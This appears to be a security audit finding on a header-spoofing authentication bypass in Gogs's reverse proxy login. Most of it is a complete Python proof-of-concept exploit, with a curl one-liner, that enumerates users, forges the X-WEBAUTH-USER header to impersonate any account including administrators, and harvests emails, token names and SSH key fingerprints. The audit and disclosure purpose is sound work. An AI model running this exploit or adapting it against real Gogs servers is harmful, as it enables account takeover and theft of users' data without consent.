After enabling reverse proxy authentication, the authenticatedUser directly trusts the X-WEBAUTH-USER header. If the application exposes it directly or the proxy configuration is improper, attackers can forge the header to impersonate any user.
| File | internal/context/auth.go |
| Line | 202 |
| Function | authenticatedUser |
if uid <= 0 {
if conf.Auth.EnableReverseProxyAuthentication {
webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)
if len(webAuthUser) > 0 {
user, err := store.GetUserByUsername(ctx.Req.Context(), webAuthUser)
if err != nil {
if !database.IsErrUserNotExist(err) {
log.Error("Failed to get user by name: %v", err)
return nil, false, false
}#!/usr/bin/env python3
"""
VULN-010: Reverse Proxy Authentication Header Spoofing
=======================================================
VERIFIED: 2026-03-11
Severity: Critical
CVSS 3.1: 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability:
When ENABLE_REVERSE_PROXY_AUTHENTICATION is enabled, Gogs trusts the
X-WEBAUTH-USER header to authenticate users. If the Gogs server is
directly accessible (not behind a properly configured reverse proxy),
attackers can spoof this header to impersonate ANY user.
Attack Prerequisites:
- ENABLE_REVERSE_PROXY_AUTHENTICATION = true in Gogs config
- Direct access to Gogs server (bypassing reverse proxy)
- Knowledge of target username (obtainable via /explore/users - VULN-001)
Impact:
- Complete account takeover of ANY user including administrators
- No password or 2FA required
- Access to all repositories, settings, tokens, SSH keys
Proof of Concept:
curl http://target:3000/ -H "X-WEBAUTH-USER: admin"
Author: Security Audit Team
Date: 2026-03-11
"""
import requests
import sys
import argparse
import json
import re
from datetime import datetime
class ReverseProxyAuthBypass:
"""Reverse Proxy Authentication Header Spoofing Exploit."""
def __init__(self, base_url: str, verbose: bool = True):
self.base_url = base_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Security Research)',
})
def log(self, message: str, level: str = "INFO"):
if self.verbose:
timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
symbols = {"INFO": "[*]", "SUCCESS": "[+]", "FAIL": "[-]", "ERROR": "[!]", "WARN": "[~]"}
print(f"{timestamp} {symbols.get(level, '[*]')} {message}")
def check_authenticated(self, response: requests.Response, username: str) -> bool:
"""Check if response indicates authenticated as specific user."""
indicators = [
f"Signed in as" in response.text and username in response.text,
"Sign Out" in response.text and f"/{username}" in response.text,
]
return any(indicators)
def enumerate_users(self) -> list:
"""Enumerate users via /explore/users (VULN-001)."""
users = []
try:
resp = self.session.get(f"{self.base_url}/explore/users", timeout=10)
# Extract usernames from profile links like: <a href="/username">username</a>
matches = re.findall(r'<a href="/([^/"]+)">\1</a>', resp.text)
# Filter out system paths
excluded = {'explore', 'assets', 'css', 'js', 'repo', 'admin', 'api', 'user', 'install'}
users = [u for u in set(matches) if u.lower() not in excluded]
self.log(f"Enumerated {len(users)} users: {users}", "INFO")
except Exception as e:
self.log(f"User enumeration failed: {e}", "ERROR")
return users
def test_baseline(self) -> bool:
"""Test access without auth header."""
try:
resp = requests.get(f"{self.base_url}/", timeout=10)
return "Sign Out" in resp.text
except:
return False
def impersonate_user(self, username: str) -> dict:
"""Attempt to impersonate a user via X-WEBAUTH-USER header."""
result = {
"username": username,
"success": False,
"accessible_endpoints": [],
"stolen_data": {
"email": None,
"access_tokens": [],
"ssh_keys": [],
"is_admin": False,
},
}
try:
# Test impersonation
resp = requests.get(
f"{self.base_url}/",
headers={"X-WEBAUTH-USER": username},
timeout=10
)
if self.check_authenticated(resp, username):
result["success"] = True
self.log(f"Impersonation successful: {username}", "SUCCESS")
headers = {"X-WEBAUTH-USER": username}
# Test sensitive endpoints and extract data
endpoints = [
("/user/settings", "Profile Settings"),
("/user/settings/email", "Email Addresses"),
("/user/settings/security", "Security Settings"),
("/user/settings/applications", "Access Tokens"),
("/user/settings/ssh", "SSH Keys"),
("/admin", "Admin Panel"),
]
for path, name in endpoints:
try:
resp = requests.get(
f"{self.base_url}{path}",
headers=headers,
timeout=5
)
if resp.status_code == 200 and "Sign Out" in resp.text:
result["accessible_endpoints"].append(name)
self.log(f" ✓ {name}: Accessible", "SUCCESS")
# Extract sensitive data
if path == "/user/settings/email":
# Extract email addresses
emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', resp.text)
# Filter out common non-user emails
emails = [e for e in emails if 'example' not in e.lower() or username.lower() in e.lower()]
if emails:
result["stolen_data"]["email"] = emails[0]
elif path == "/user/settings/applications":
# Extract access token names
tokens = re.findall(r'<strong>([^<]*token[^<]*)</strong>', resp.text, re.I)
result["stolen_data"]["access_tokens"] = tokens
elif path == "/user/settings/ssh":
# Extract SSH key info
keys = re.findall(r'<strong>([^<]+)</strong>\s*<div class="print meta">\s*(SHA256:[^\s<]+)', resp.text, re.S)
result["stolen_data"]["ssh_keys"] = [{"name": k[0], "fingerprint": k[1]} for k in keys]
elif path == "/admin":
result["stolen_data"]["is_admin"] = True
except:
pass
# Print stolen data summary
if result["stolen_data"]["email"]:
self.log(f" → Email: {result['stolen_data']['email']}", "INFO")
if result["stolen_data"]["access_tokens"]:
self.log(f" → Access Tokens: {result['stolen_data']['access_tokens']}", "INFO")
if result["stolen_data"]["ssh_keys"]:
for key in result["stolen_data"]["ssh_keys"]:
self.log(f" → SSH Key: {key['name']} ({key['fingerprint']})", "INFO")
if result["stolen_data"]["is_admin"]:
self.log(f" → ADMIN PRIVILEGES CONFIRMED!", "SUCCESS")
else:
self.log(f"Impersonation failed: {username}", "FAIL")
except Exception as e:
self.log(f"Error testing {username}: {e}", "ERROR")
return result
def run_exploit(self, target_users: list = None) -> dict:
"""Run full exploitation."""
results = {
"vulnerable": False,
"target": self.base_url,
"vuln_id": "VULN-010",
"vuln_name": "Reverse Proxy Authentication Header Spoofing",
"severity": "Critical",
"impersonated_users": [],
"error": None,
}
print("\n" + "=" * 60)
print("VULN-010: Reverse Proxy Auth Header Spoofing")
print("=" * 60)
print(f"Target: {self.base_url}")
print("=" * 60 + "\n")
# Step 1: Baseline test
self.log("Testing baseline (no auth header)...", "INFO")
if self.test_baseline():
self.log("Already authenticated without header - test invalid", "WARN")
results["error"] = "Baseline shows authenticated state"
return results
self.log("Baseline: Not authenticated (expected)", "SUCCESS")
# Step 2: Get target users
if not target_users:
self.log("Enumerating users via /explore/users...", "INFO")
target_users = self.enumerate_users()
if not target_users:
self.log("No target users found", "ERROR")
results["error"] = "No users to test"
return results
# Step 3: Test impersonation
print("\n[Testing Header Spoofing]")
print("-" * 40)
for username in target_users:
result = self.impersonate_user(username)
if result["success"]:
results["vulnerable"] = True
results["impersonated_users"].append(result)
# Summary
print("\n" + "=" * 60)
if results["vulnerable"]:
print("VULNERABILITY CONFIRMED!")
print("=" * 60)
self.log(f"Successfully impersonated {len(results['impersonated_users'])} users", "SUCCESS")
self.log("Attack vector: Add header 'X-WEBAUTH-USER: <username>'", "INFO")
self.log("Impact: Complete account takeover without password/2FA", "INFO")
else:
print("NOT VULNERABLE")
print("=" * 60)
self.log("Reverse proxy auth may be disabled or properly configured", "INFO")
return results
def main():
parser = argparse.ArgumentParser(
description="VULN-010: Reverse Proxy Auth Header Spoofing PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Example:
# Auto-enumerate users and test
python3 poc_VULN_010_reverse_proxy_auth.py http://localhost:3000
# Test specific users
python3 poc_VULN_010_reverse_proxy_auth.py http://localhost:3000 -u admin,root,gogsadmin
Manual verification:
curl http://target:3000/ -H "X-WEBAUTH-USER: admin"
"""
)
parser.add_argument('target_url', help='Target Gogs URL')
parser.add_argument('-u', '--users', help='Comma-separated list of usernames to test')
parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')
args = parser.parse_args()
target_users = args.users.split(',') if args.users else None
exploit = ReverseProxyAuthBypass(args.target_url, verbose=not args.quiet)
results = exploit.run_exploit(target_users)
print("\n" + "=" * 60)
print("RESULT SUMMARY")
print("=" * 60)
print(json.dumps(results, indent=2, ensure_ascii=False))
sys.exit(0 if results["vulnerable"] else 1)
if __name__ == "__main__":
main()